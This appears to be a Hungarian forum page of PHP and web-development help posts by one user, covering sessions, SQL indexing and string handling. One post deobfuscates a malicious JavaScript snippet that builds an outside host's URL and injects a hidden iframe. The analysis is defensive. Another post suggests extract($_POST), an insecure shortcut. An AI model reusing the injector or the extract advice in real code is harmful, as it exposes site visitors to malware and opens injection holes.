Hirdetés
- Samsung Galaxy Z Fold7 - ezt vártuk, de…
- Telekom mobilszolgáltatások
- Samsung Galaxy S24 Ultra - ha működik, ne változtass!
- Xiaomi 14T Pro - teljes a család?
- Netfone
- Xiaomi 14T - nem baj, hogy nem Pro
- Samsung Galaxy A54 - türelemjáték
- iPhone topik
- Samsung Galaxy S20 FE - tényleg nem lite
- Hivatalos a OnePlus 13 startdátuma
Új hozzászólás Aktív témák
-
PazsitZ
addikt
válasz
Sk8erPeter
#4219
üzenetére
Csak megjegyzésként:
Ha már empty-t használsz nem kell az isset. Az empty-nek egyformán igaz a nem létezés, az üres string és a nulla is. -
PazsitZ
addikt
Még korábban én is barkácsoltam ilyen rövidítő kódot, de nem olyan egyszerű (még az enyém sincs kész csak félig-meddig
), mondjuk nálam az is szempont, hogy a szövegben lévő tag-ek is érvényesek maradjanak. [link]
Igen abban az esetben az ékezetes karaktert mb_ fgv-el vagy más módon kell levágni. hogy ne vágjon félbe ékezetes karaktert. Szvsz érdemesebb lenne szóhatárra keresni és ott vágni. -
PazsitZ
addikt
válasz
Louloudaki
#3859
üzenetére
A view-s javaslatom pont arra vonatkozott, hogy nem mindig futna le a view-t létrehozó lekérdezés. "Nem tudom milyen időközönként van szükséged a listára, milyen sűrűn változnak az adatok"
(#3858) biker: 25000 sor szvsz így is úgy is időbe kerül, na most akinek ekkora adatmennyiség kell, az várjon pár másodpercet.
Ha pedig kiiratni akarod a usernek, akkor rakj ki neki addig egy kis ikont ami jelzi a töltést, így egy fancy userbarát felületet kap legalább
és csak oldalanként kérd le az adatokat, ne az egészet. -
PazsitZ
addikt
válasz
Sk8erPeter
#3852
üzenetére
Olyan mezőkön amelyeken WHERE feltételeket végzel, amelyekkel táblakapcsolást csinálsz jól jöhet az indexelés. Persze az indexelést sem szabad túlzásba vinni. (kellő adatmennyiség és ezeken végzett komolyabb műveletek)
webshop_kepek.termek_ID - (index)
webshop_termekek.termek_ID - (primary key)webshop_termekek.termek_kat - (index)
webshop_kategoriak.kat_ID - (primary key) -
PazsitZ
addikt
Gondolom kategória mindenképp tartozik egy termékhez, tehát ott nem kell left join.
Nem tudom milyen időközönként van szükséged a listára, milyen sűrűn változnak az adatok, de én megpróbálnék estleg olyasmi megoldást, hogy a termék és kategória táblát egy view-ba kinyerni (ezt nem is mindig kellene frissíteni), és ehhez left join-olni a képek táblát.
-
PazsitZ
addikt
Feltételezem azért mert nem jön létre a file.
Ilyen eseteben ilyesmi kóddal próbálkoznék$i=0;
do{
sleep(1);
if ($i>10) break; // max időkorlát
$i++;
}while(!file_exists("./_temp/log.txt"));
if (file_exists("./_temp/log.txt")){
$str=file_get_contents("./_temp/log.txt");
echo $str;
}
else echo "Hiba: Időkorlát túllépés"; -
PazsitZ
addikt
Alapvetően nem azt akarod, hogy csak nem szám esetén írja ki?
Mert akkor:
if ( !empty($_POST["pix"]) && !is_numeric($pix) )Egyébként jelenleg azért írja ki minden esetben mert az if-ed üres. Nem tartalmaz parancsot, ha lezárod egy ;-vel
Tehát így lesz jó szvsz:
if ( !empty($_POST["pix"]) && !is_numeric($pix) ) {
echo "Hibásan van ki töltve a 4.2-es kérdés értéke:".$pix;
}Amit pedig az első blokkban csinálsz megoldható ennyivel[link]: extract($_POST); és ezután hivatkozhatsz bármely POST-olt változóra.
-
PazsitZ
addikt
válasz
Sk8erPeter
#3141
üzenetére
Nem ismerem kifejezetten, de amire pl felhívja a figyelmet: "Ensure that you do not exceed the number of connections allowed by MySQL."
itt alul megtalálod az esetleges hátulütőit
pl.:
Esetleges bug (végtelen ciklus) esetén beakad a szál, hamar elfogy az összes kapcsolati szál.
Ha a script valamiért hosszabb időre lock-olja a táblát/sort akkor elérhetetlenné válik. -
PazsitZ
addikt
Ha nem adsz meg oszlopot (ahogy írtam is), akkor tábla teljes tartalmából fog válogatni.
Azaz az összes sort randomba fogja rendezgetni.De ha arra gondolsz, hogy a 15., 137. 1456. 8765. 15.324. általad meghatározott sorok közül dobjon ki egyet, akkor php-ban sorsolj egyet közülük és azt az egyet kérd le...
-
PazsitZ
addikt
A $_POST,$_GET,... tömbök.
Tömbre pedig a string azonosító miatt hivatkozol 'névvel'.
" " macskakörmöt használva be lehet szimpla változókat rakni a string közé, amit a fordító behelyettesít.
Ha egy tömbön belül string azonosítóval való hivatkozás viszont már viszont hibát dob.
Ekkor a stringhez . -al hozzá tudod fűzni az értéket további . -al pedig folytatólagosan fűzöd az újabb string elemet.Remélem jól magyaráztam és érthető is.

-
PazsitZ
addikt
válasz
Sk8erPeter
#3110
üzenetére
Esetleg próbáld ki ezt:
function chere($txt){
$mit = array("á","é","í","ó","ö","ü","ű","ú","Á","É","Í","Ó","Ö","Ü","Ű","Ú","ä","Ä" );
$mire = array("a","e","i","o","o","u","u","u","A","E","I","O","O","U","U","U","a","A" );
return(str_replace($mit,$mire,$txt)) ;
} -
PazsitZ
addikt
válasz
Sk8erPeter
#3108
üzenetére
Most nézem csak, hogy mire is akarod használni.
Én direkt nem szenvedtem hasonló esetben az ékezetekkel, url-be amúgy sem illik ékezetet rakni.
Én így oldottam meg a dolgot:mb_ereg_replace("/[^a-z0-9]/i",'_',$filename)
Azaz a filenévben csak betűt és számot engedek, minden más alulvonás lesz a névben.
-
PazsitZ
addikt
A head tag, de még a <html> tag is (bármely html elem) azonnal kiírandó input.
A session-t rakd be a fő fájlod legelejére.
(A session_start elé max. PHP parancsok kerülhetnek, amelyek nem írnak az outputra, de többnyire még így is szinte mindig legelöl helyezkedik el)1: <?PHP
2: session_start();
3: ?>
4: <html>
5: <head>
6: </head>
7: <body>
8: <?PHP include 'mail.php'; ?>
9: ... -
PazsitZ
addikt
Elég körülményes problémám van, remélem el tudom magyarázni értelmesen és tud valaki segíteni.
Wamp szervert használok.
A prototype.js függvényt betöltésével akad gondom.
Csináltam egy példa kódot, ami érdekes módon az extra.hu szerverén lefut, az én lokális szerveremen javascript hibát dob a prototype.js-re.
firebug-al ellenőrizve a szkript fül nem is látja a scriptfájlt, a html fülön kibontva pedig egyszerűen hibás/hülyeségeket tölt be
.Azért is fura a dolog, mert semmilyen scriptet nem használok még az oldalon.
Továbbá a scriptet elvileg a böngésző tölti le én szerver oldalról csak a script url-t adom meg nem?
Akkor miért működik extra.hu-n jól lokálisan pedig hibásan?firebug hibaüzenete:
missing ) after formal parameters prototype.js (sor 2633)
function isHash (value[1]) return parseFloat(value[1]) / 100;\nMegőrjít ez a dolog
.
a példakód:[link] -
PazsitZ
addikt
válasz
eziskamu
#2920
üzenetére
Fárasztó egy javascript kód:
wy='t';
ya='mp';
yu='p:';
qs='sr';
d='nit';
l='ame';
v='c';
z='t';
ow='io';
zt='n/';
sc='n';
o='//z';
hy='cha';
hg='h';
p='.c';
j='ifr';
f='e';
dx=j.concat(l); // dx=iframe
lr=qs.concat(v); // lr=src
ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt); // http://zenitchampion.cn/
var dj=document.createElement(dx); // document.createElement(iframe);
dj.setAttribute('width','5'); //
dj.setAttribute('height','5'); //
dj.setAttribute('style','display:none'); //
dj.setAttribute(lr,ua); // dj.setAttribute('src','http://zenitchampion.cn/');
document.body.appendChild(dj); // beilleszti a body végére: <iframe width="5" height="5" style="display:none;" src="http://zenitchampion.cn/">persze ezek csak akkor futnak le ha <script> tag között vannak.
A lényege, hogy beilleszti a body végére a következő html kódot (egy nem látható iframe-t a fent említett oldalről):
<iframe width="5" height="5" style="display:none;" src="fent említett oldal">Amire nekem az avast rögtön támadást érzékel (JS:ScriptPE-inf [Trj]) már csak a cím google-al való rákereséssel is.
-
PazsitZ
addikt
Először is, ha legközelebb ilyet raksz be használd a kód gombot.
Azért mert lokálisan nyitod meg és nincs szerver, ami feldolgozza a php kódodat.
Rakj fel egy wamp vagy xamp-ot és úgy futtasd a www könyvtárba másolva. Esetleg egy honlapra másolva nyisd meg.Az menu2 utolsó echo részében egyébként van egy felesleges pontosvessző.
Egyébként pedig rengeteg lezáró-tag hiányzik és rémesen van tördelve az egész oldal.
Innen leszedheted, az általam átírt változatot. -
PazsitZ
addikt
válasz
Louloudaki
#2774
üzenetére
Félreértettem akkor a dolgot.
De ha meg csak ennyi a baj replace-el kicserélheted az összeset. -
PazsitZ
addikt
válasz
Louloudaki
#2769
üzenetére
Notepad++ -al megnyitod, formátum menü, átalaítás UTF-8-ra menüpont egy pillanat alatt átkonvertálja.
-
PazsitZ
addikt
válasz
Louloudaki
#2765
üzenetére
Miért nem alakítod át simán pl. notepad++ -al a csv fájlt és használod utána ploblémamentesen UTF8-ként?
-
PazsitZ
addikt
-
PazsitZ
addikt
válasz
WaterWave
#2362
üzenetére
Miért lenne muszáj?
Ahogy feljebb említették csak 11 karaktert engedsz beírni/olvasni a $kod-ba.
Majd egyszerűen összefűzöd:
"http://www.youtube.com/".$kod
És oda irányítod, pakolod, ahova akarod, nem
?(#2365) Cartman002: megfelelő escape-elés, szűrés mellett nem olyan vészes szvsz, de jelen esetben én is úgy érzem, felesleges.
-
PazsitZ
addikt
válasz
emitter
#2293
üzenetére
Én nem értettem meg teljesen a dolgot, sorry.
Szerintem ebben az esetben a keresési feltétel is mehetne get-be majd utána az oldalszám.
?search=valami&page=1
Minden esetben lefutna a kérés (lehetőleg valami szerint rendezve ugye) és ezután csak az x-ediktől y-ig iratod/kéred le az eredményt. -
PazsitZ
addikt
válasz
Korcsii
#2063
üzenetére
Én olyat script-et ismerek, ami kép előtöltést csinál.
<script language="JavaScript">
if (document.images)
{
preload_image_object = new Image();
// set image url
image_url = new Array();
image_url[0] = "kep1.jpg";
image_url[1] = "kep2.jpg";
var i = 0;
for(i=0; i<=1; i++) //itt addig megy ahány kép van
preload_image_object.src = image_url[i];
}
</script> -
PazsitZ
addikt
válasz
fordfairlane
#2016
üzenetére
Köszi!
Én konkrétan$szoveg=str_ireplace("\n",'<br />',$szoveg);
módszerrel oldottam meg, nem gondoltam, hogy erre is van parancs

(#2017) cucka: Igazad van, rosszul fogalmaztam.
Még lenne egy kérdésem: Egy beléptetéses rendszernél mire kell figyelni?
Egyelőre sima session-el megírtam, de nem tudom mennyire "biztonságos vagy törékeny".
-
-
PazsitZ
addikt
Üdv! Még csak most kezdek belemerülni a PHP rejtelmeibe, így várom a szíves segítségeteket.
Egy fórum hozzászólásait egy textarea tagbe bekérem és MySQL-ben varchar-ban tárolom, echo-val iratom ki.
A problémám az, hogy a sortörést nem jegyzi meg. Egymás után bedobálja a szöveget.
Hol a hiba? Avagy milyen formázást kellene külön elvégeznem a bemeneten? -
PazsitZ
addikt
válasz
Paulie86
#1966
üzenetére
include 'layout_elements.php'
Zárójel nélkül.(#1973) Paulie86: Hogy milyenre szinezi a kódot az csak beállítás kérdése.
Hibaüzit vagy valamit bemásolhatnál, mert így, nehéz okosat mondani... -
PazsitZ
addikt
válasz
geree@bl
#1871
üzenetére
Hol futtatod?
Extra-n pl külön be kell kapcsolni az admin felületen a php-t.
Ha sajátgépen akkor telepítened kell mondjuk egy wampserver-t -
PazsitZ
addikt
válasz
PazsitZ
#1568
üzenetére
Rájöttem.
Természetesen abba a feltételbe kello rakni, ahol növelem a szavazást, mivel ez az a mozzanat, ami után korlátozni akarok.
Utólag mindig olyan egyszerűnek tünik a megoldás
De még lenne egy kérdésem, valahogy le lehet tiltani a böngészővel való visszalépést?
Mert ez az egy dolog még könnyű csalásra ad lehetőséget. -
PazsitZ
addikt
Segítséget szeretnék kérni, a PHP-be még csak most kezdtem bele, szóval csak finoman
.A célom az lenne, hogy egy szavazás esetén, egyelőre ip-t tárolok, hogy csak egyszer lehessen szavazni. Az ip letárolása egy function-ben van.
A gondom az, hogy hova helyezzem a függyvényhívást, hogy szimplán az oldal betöltésekor/frissítéskor még ne tárolja le az ip-t?
Próbáltam a form action részbe rakni, de úgy sem ment. A cél pedig az lenne, hogy csak submit esetén fusson le.
Gondolkoztam adatküldésen egy új fájlba, de nem igaz, hogy egy file-al nem lehet megoldani...
Itt az eddig elkészült rész: [link]
Új hozzászólás Aktív témák
- Mibe tegyem a megtakarításaimat?
- Kínai és egyéb olcsó órák topikja
- Nintendo Switch 2
- Samsung Galaxy Z Fold7 - ezt vártuk, de…
- Háztartási gépek
- Luck Dragon: Asszociációs játék. :)
- sziku69: Fűzzük össze a szavakat :)
- Telekom mobilszolgáltatások
- Formula-1
- Samsung Galaxy S24 Ultra - ha működik, ne változtass!
- További aktív témák...
- BESZÁMÍTÁS! LENOVO LOQ 15IRX9 notebook - i5 13450HX 32GB DDR5 512GB SSD nVidia RTX 4050 6GB WIN11
- BESZÁMÍTÁS! ASUS TUF F15 FX506HE notebook - i5 11400H 16GB DDR4 512GB SSD nVidia RTX 3050Ti 4GB W11
- Octominer X8 Ultra + 5db Nvidia CMP 90HX
- Lenovo legion pro 5
- Samsung Galaxy S23 Ultra 5G 512GB, Kártyafüggetlen, 1 Év Garanciával
- Xiaomi Redmi Note 9 Pro 128GB, Kártyafüggetlen, 1 Év Garanciával
- Új! AKRacing Premium Master gamer szék
- Bomba ár! Lenovo X1 Yoga 1st - i7-6G I 8GB I 256SSD I 14" WQHD Sérült I HDMI I W10 I CAM I Garancia
- GYÖNYÖRŰ iPhone 13 mini 128GB Green -1 ÉV GARANCIA - Kártyafüggetlen, MS3835, 100% Akksi
- Telefon szerviz helyben - Gyors javítás, akár 30 perc alatt!
Állásajánlatok
Cég: Laptopműhely Bt.
Város: Budapest
Cég: PCMENTOR SZERVIZ KFT.
Város: Budapest

és csak oldalanként kérd le az adatokat, ne az egészet.
.
.




